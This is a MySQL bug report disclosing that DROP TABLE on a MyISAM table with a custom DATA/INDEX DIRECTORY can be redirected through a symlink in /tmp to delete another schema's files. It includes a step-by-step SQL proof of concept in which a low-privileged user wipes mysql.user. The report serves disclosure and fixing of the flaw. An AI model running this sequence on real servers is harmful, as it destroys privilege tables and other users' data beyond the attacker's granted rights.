| Bug #40980 | Drop table can remove another MyISAM table's data and index files | ||
|---|---|---|---|
| Submitted: | 24 Nov 2008 15:40 | Modified: | 14 Jul 15:59 |
| Reporter: | Ingo Strüwing | ||
| Status: | Duplicate | ||
| Category: | Server: DDL | Severity: | S3 (Non-critical) |
| Version: | 4.1,5.0,5.1,5.4,6.0 | OS: | Any (Unix-like systems) |
| Assigned to: | Target Version: | ||
| Triage: | Triaged: D4 (Minor) / R2 (Low) / E2 (Low) | ||
[24 Nov 2008 15:40]
Ingo Strüwing
[24 Nov 2008 15:42]
Ingo Strüwing
Copied triage settings from Bug#39277 as this is a split out from there.
[7 Jul 18:07]
Ingo Strüwing
The fact that the problem exists since day one doesn't reduce its severity. The point with the "write access" might be confused. UNIX/Linux is a multi-user system. It has a permission system which can limit what a user can do on the system. It is no big problem to set permissions so that a certain user cannot read nor write datadir. As such he cannot do much harm to the database installation. But usually every user has read/write access to /tmp. The problem I found thus requires an arbitrary account on the machine (with write access to /tmp, but neither read nor write acces to datadir) and an database account with CREATE and DROP privileges in an arbirtary database (schema). With this setup the user should not be able to do any harm to databse objects outside of that database (schema). Write access to his home directory and /tmp should not be sufficient to influence the databases from the shell level either. So what does it mean: "such users can mess-up the server in any way possible"? What possible attacks can he carry out with his limited permissions? One thing he can do is this (you may replace MYSQL_TMP_DIR with /tmp or the user's home directory): # # Test #2 - Drop mysql.user with CREATE|DROP privileges on another DB. # CREATE USER 'mysql_user1'; # # Create a database for mysql_user1 user's tables. # CREATE DATABASE mysql_db1; # # Grant mysql_user1 to create and drop tables in mysql_db1. # GRANT CREATE, DROP ON mysql_db1.* TO 'mysql_user1'; # # Show which users we have in the table mysql.user. # SELECT User FROM mysql.user; User mysql_user1 root root root # # Connection con1 - mysql_user1 # # Make a directory bug39277 somewhere, for example in MYSQL_TMP_DIR. # # Create table mysql_db1.user, with its files in bug39277. # CREATE TABLE mysql_db1.user (c1 INT) ENGINE=MyISAM DATA DIRECTORY='MYSQL_TMP_DIR/bug39277' INDEX DIRECTORY='MYSQL_TMP_DIR/bug39277'; # # Remove the table files and the directory bug39277. # # Make a symlink from 'mysql' database to MYSQL_TMP_DIR/bug39277. # # Drop table mysql_db1.mysql with the files from mysql.user. DROP TABLE mysql_db1.user; # # Connection default - root # # Show which users we have in table mysql.user. # This does work as the table is still open in the table cache. # SELECT User FROM mysql.user; User mysql_user1 root root root # # Close table mysql.user. # FLUSH TABLE mysql.user; # # Show which users we have in the table mysql.user. Bummer! # SELECT User FROM mysql.user; ERROR HY000: Can't find file: 'user' (errno: 2) # # Due to missing table files, we cannot drop the user any more. # DROP USER 'mysql_user1'; ERROR HY000: Can't find file: 'user' (errno: 2) # # Cleanup. # DROP DATABASE mysql_db1; IMHO this should not be allowed. DROP should refuse to drop a table if it uses symlinks that resolve into datadir. The attempt should even be reported to the error log.
